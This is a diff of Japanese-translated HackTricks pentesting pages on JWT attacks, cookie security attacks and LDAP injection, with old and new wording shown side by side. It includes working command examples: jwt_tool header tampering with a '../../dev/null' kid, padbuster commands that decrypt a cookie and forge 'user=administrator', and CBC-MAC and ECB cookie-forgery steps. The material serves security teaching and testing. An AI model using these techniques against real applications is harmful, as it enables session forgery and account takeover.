* 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。 * 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。
* このプロセスで`jwt_tool`を使用する際は、テストを容易にするために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。 * このプロセスで`jwt_tool`を使用する際は、テストを容易にするために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
#### 「kid」を使用したパストラバーサル #### 「kid」を使用したパストラバーサル
`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行したりすることが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`-T`フラグを使用して`jwt_tool`で実行できます。 `kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行することが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`-T`フラグを使用して`jwt_tool`で実行できます。
```bash ```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
``` ```
@ -167,7 +167,7 @@ print("e:", hex(key.e))
``` ```
#### x5u #### x5u
X.509 URL。PEM形式でエンコードされた一連のX.509証明書フォーマット標準公開証明書を指すURI。セット内の最初の証明書は、このJWTに署名するために使用される必要があります。次の証明書はそれぞれ前の証明書に署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。 X.509 URL。PEM形式でエンコードされた一連のX.509証明書フォーマット標準公開証明書を指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書はそれぞれ前の証明書に署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。
**このヘッダーをあなたの管理下にあるURLに変更して**、リクエストが受信されるか確認してください。その場合、**JWTを改ざんすることができるかもしれません**。 **このヘッダーをあなたの管理下にあるURLに変更して**、リクエストが受信されるか確認してください。その場合、**JWTを改ざんすることができるかもしれません**。
@ -209,7 +209,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public")); console.log(importedKey.exportKey("public"));
``` ```
新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です 新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です:
```bash ```bash
openssl genrsa -out keypair.pem 2048 openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -231,12 +231,12 @@ Finally, using the public and private key and the new "n" and "e" values you can
いくつかのアプリケーションがES256を使用し、同じンスを使用して2つのJWTを生成する場合、プライベートキーを復元できます。 いくつかのアプリケーションがES256を使用し、同じンスを使用して2つのJWTを生成する場合、プライベートキーを復元できます。
ここに例があります: [ECDSA: 同じノンスを使用した場合のプライベートキーの明 (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5) ここに例があります: [ECDSA: 同じノンスを使用した場合のプライベートキーの明らかにする (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID) ### JTI (JWT ID)
JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\ JTI (JWT ID) クレームは、JWTトークンのユニークな識別子を提供します。これは、トークンのリプレイを防ぐために使用できます。\
しかし、IDの最大長が40001-9999である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます(各成功した再生の間に10000リクエストを送信する必要があります しかし、IDの最大長が40001-9999である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストをリプレイする**ことができます(各成功したリプレイの間に10000リクエストを送信する必要があります
### JWT登録クレーム ### JWT登録クレーム
@ -246,21 +246,21 @@ JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供し
**クロスサービスリレー攻撃** **クロスサービスリレー攻撃**
いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。 いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストでリプレイして受け入れられるかどうかを確認する試みを行うべきです。
* あなたのトークンが受け入れられることによって重大な問題が示される可能性があり、これにより任意のユーザーアカウントの偽装が可能になるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。 * あなたのトークンが受け入れられる場合、重大な問題が示される可能性があり、任意のユーザーアカウントの偽装を許可する可能性があります。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。
**トークンの有効期限チェック** **トークンの有効期限チェック**
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェックUTCのタイムスタンプを含むは、jwt_toolの-Rフラグを使用して読み取ることができます。 トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャしてリプレイすることで、そのユーザーのなりすましが可能になります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWTリプレイ攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存してリプレイすることが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェックUTCのタイムスタンプを含むは、jwt_toolの-Rフラグを使用して読み取ることができます。
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクが存在するかもしれません * アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクが存在する可能性があります
### ツール ### ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %} {% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -21,11 +21,11 @@ Cookiesには、ユーザーのブラウザでの動作を制御するいくつ
### Expires and Max-Age ### Expires and Max-Age
クッキーの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はクッキーが削除されるまでの時間(秒単位)を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。** クッキーの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はクッキーが削除されるまでの時間を秒単位で定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
### Domain ### Domain
クッキーを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、`Domain`属性の指定は、サブドメイン間でのクッキー共有が必要なシナリオで便利な、制約の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでクッキーにアクセスできます。 クッキーを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのクッキー共有が必要なシナリオで役立つ、`Domain`属性の指定が制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでクッキーにアクセスできます。
### Path ### Path
@ -67,15 +67,15 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
### HttpOnly ### HttpOnly
これにより、**クライアント**がクッキーにアクセスするのを防ぎます(例えば**Javascript**経由`document.cookie`)。 これ**クライアント**がクッキーにアクセスするのを防ぎます(例えば**Javascript**経由:`document.cookie`)。
#### **Bypasses** #### **Bypasses**
* ページがリクエストのレスポンスとしてクッキーを**送信している**場合(例えば**PHPinfo**ページ、XSSを悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。 * ページがリクエストのレスポンスとしてクッキーを**送信している**場合(例えば**PHPinfo**ページ、XSSを悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
* **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたクッキーを反映します。この技術は**Cross-Site Tracking**と呼ばれます。 * **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたクッキーを反映します。この技術は**Cross-Site Tracking**と呼ばれます。
* この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。 * この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。
* もう一つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。 * の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
* クッキージャーオーバーフロー攻撃を実行することで**HttpOnlyクッキーを上書きする**ことが可能です: * クッキージャーオーバーフロー攻撃を実行することで**HttpOnlyクッキーを上書きする**ことが可能です:
{% content-ref url="cookie-jar-overflow.md" %} {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md) [cookie-jar-overflow.md](cookie-jar-overflow.md)
@ -102,13 +102,13 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
### Overwriting cookies ### Overwriting cookies
したがって、`__Host-`プレフィックスのクッキーの保護の一つは、サブドメインからの上書きを防ぐことです。例えば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから__HOST-プレフィックスのクッキーを設定することが可能であることが示されています。例えば、最初や最後に`=`を追加することなどです: したがって、`__Host-`で始まるクッキーの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから`__HOST-`で始まるクッキーを設定することが可能であることが示されています。たとえば、最初や最後に`=`を追加することです:
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
また、PHPでは、クッキー名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-`クッキーを上書きすることが可能でした: また、PHPでは、クッキー名の最初に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-`クッキーを上書きすることが可能でした:
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks ## Cookies Attacks
@ -150,7 +150,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
### Cross-Site Request Forgery (CSRF) ### Cross-Site Request Forgery (CSRF)
この攻撃は、ログイン中のユーザーに対して、現在認証されているウェブアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるクッキーを悪用できます。 この攻撃は、ログイン中のユーザーに対して、現在認証されているWebアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるクッキーを悪用できます。
### Empty Cookies ### Empty Cookies
@ -170,13 +170,13 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
``` ```
これにより、ブラウザはすべてのウェブサーバーによって `a` という名前のクッキーと `b` という値を持つクッキーとして解釈されるクッキー ヘッダーを送信します。 これにより、ブラウザはすべてのウェブサーバーによって `a` という名前のクッキーと `b` という値を持つクッキーとして解釈されるクッキー ヘッダーを送信します。
#### Chromeのバグ: Unicodeサロゲートコードポイントの問題 #### Chrome バグ: Unicode サロゲート コードポイントの問題
Chromeでは、Unicodeサロゲートコードポイントがセットクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します: Chrome では、Unicode サロゲート コードポイントが設定されたクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
```js ```js
document.cookie = "\ud800=meep"; document.cookie = "\ud800=meep";
``` ```
この結果、`document.cookie`は空の文字列を出力し、永続的な破損を示します。 この結果、`document.cookie` は空の文字列を出力し、永続的な破損を示します。
#### パースの問題によるクッキーのスモグリング #### パースの問題によるクッキーのスモグリング
@ -186,13 +186,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### Cookie Injection Vulnerabilities #### Cookie Injection Vulnerabilities
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください) サーバーによるクッキーの不適切な解析、特にUndertow、Zope、およびPythonの`http.cookie.SimpleCookie`と`http.cookie.BaseCookie`を使用しているものは、クッキーインジェクション攻撃の機会を生み出します。これらのサーバーは新しいクッキーの開始を適切に区切ることができず、攻撃者がクッキーを偽装することを可能にします: (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) サーバーによるクッキーの不適切な解析、特に Undertow、Zope、および Python `http.cookie.SimpleCookie` `http.cookie.BaseCookie` を使用しているものは、クッキーインジェクション攻撃の機会を生み出します。これらのサーバーは新しいクッキーの開始を適切に区切ることができず、攻撃者がクッキーを偽装することを可能にします:
* Undertowは、セミコロンなしで引用された値の直後に新しいクッキーを期待します。 * Undertow は、セミコロンなしで引用された値の直後に新しいクッキーを期待します。
* Zopeは、次のクッキーの解析を開始するためにカンマを探します。 * Zope は、次のクッキーの解析を開始するためにカンマを探します。
* Pythonのクッキークラスは、スペース文字で解析を開始します。 * Python のクッキークラスは、スペース文字で解析を開始します。
この脆弱性は、クッキーに基づくCSRF保護に依存するWebアプリケーションにとって特に危険です。攻撃者が偽装されたCSRFトークンクッキーを注入できるため、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化します。最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念も生じ、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。 この脆弱性は、クッキーに基づく CSRF 保護に依存するウェブアプリケーションにおいて特に危険です。攻撃者が偽装された CSRF トークンクッキーを注入できるため、セキュリティ対策を回避する可能性があります。この問題は、Python の重複クッキー名の処理によって悪化し、最後の出現が以前のものを上書きします。また、不安全なコンテキストにおける `__Secure-` および `__Host-` クッキーに対する懸念を引き起こし、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスを引き起こす可能性があります。
### Extra Vulnerable Cookies Checks ### Extra Vulnerable Cookies Checks
@ -203,15 +203,15 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
* 2つのデバイスまたはブラウザで同じアカウントに同じクッキーを使用してログインしてみてください。 * 2つのデバイスまたはブラウザで同じアカウントに同じクッキーを使用してログインしてみてください。
* クッキーに情報が含まれているか確認し、変更を試みてください。 * クッキーに情報が含まれているか確認し、変更を試みてください。
* ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください。 * ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください。
* "**私を覚えておいて**"オプションが存在する場合、それがどのように機能するか確認してください。存在し、脆弱である可能性がある場合は、他のクッキーなしで**私を覚えておいて**のクッキーを常に使用してください。 * "**remember me**" オプションが存在する場合は、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーなしで**remember me**のクッキーを常に使用してください。
* パスワードを変更しても前のクッキーが機能するか確認してください。 * パスワードを変更しても前のクッキーが機能するか確認してください。
#### **Advanced cookies attacks** #### **Advanced cookies attacks**
クッキーがログイン時に同じ(またはほぼ同じ)である場合、これはおそらくそのクッキーがあなたのアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは: クッキーがログイン時に同じ(またはほぼ同じ)である場合、これはおそらくクッキーがアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
* 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。 * 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。
* **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです。 * **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名 "**Bmin**" でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは "**admin**" に属するものだからです。
* **Padding** **Oracle**を試してください(クッキーの内容を復号化できます)。**padbuster**を使用してください。 * **Padding** **Oracle**を試してください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
**Padding Oracle - Padbuster examples** **Padding Oracle - Padbuster examples**
@ -224,11 +224,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
``` ```
Padbusterは複数回試行し、どの条件がエラー条件(無効なもの)であるかを尋ねます。 Padbusterは複数回の試行を行い、どの条件がエラー条件(無効なもの)であるかを尋ねます。
その後、クッキーの復号を開始します(数分かかる場合があります)。 その後、クッキーの復号を開始します(数分かかる場合があります)。
攻撃が成功した場合、任意の文字列を暗号化してみることができます。たとえば、**encrypt** **user=administrator**を暗号化したい場合。 攻撃が成功した場合、任意の文字列を暗号化してみることができます。えば、**encrypt** **user=administrator**を暗号化したい場合。
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
@ -236,13 +236,13 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**CBC-MAC** **CBC-MAC**
クッキーには何らかの値があり、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクトルを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。 クッキーには何らかの値が含まれ、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
**攻撃** **攻撃**
1. ユーザー名 **administ** の署名を取得 = **t** 1. ユーザー名 **administ** の署名を取得 = **t**
2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'** 2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'**
3. クッキーに値 **administrator+t'** を設定する (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります) 3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** の有効な署名になります = **rator\x00\x00\x00**)
**ECB** **ECB**
@ -253,9 +253,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。 ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります 例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" というユーザーを作成し、クッキーにパターンがあるか確認しますECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分繰り返した後に「admin」を追加したユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除することができます。そして、ユーザー名「admin」のクッキーを得ることができます。 使用されるブロックのサイズでパターンが存在するはずです。したがって、"a" の bunch がどのように暗号化されるかを知っていれば、ユーザー名を作成できます: "a"\*(ブロックのサイズ)+"admin"。次に、クッキーから "a" のブロックの暗号化パターンを削除することができます。そして、ユーザー名 "admin" のクッキーを得ることができます。
## 参考文献 ## 参考文献
@ -263,15 +263,15 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -33,7 +33,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %} {% endcontent-ref %}
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 **LDAP Injection**は、ユーザー入力からLDAPを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -53,25 +53,25 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
**(&)** = Absolute TRUE\ **(&)** = Absolute TRUE\
**(|)** = Absolute FALSE **(|)** = Absolute FALSE
For example:\ 例えば:\
`(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))` `(&(objectClass=user)(uid=*))`
You can access to the database, and this can content information of a lot of different types. データベースにアクセスでき、さまざまなタイプの情報が含まれている可能性があります。
**OpenLDAP**: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。\ **OpenLDAP**: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。\
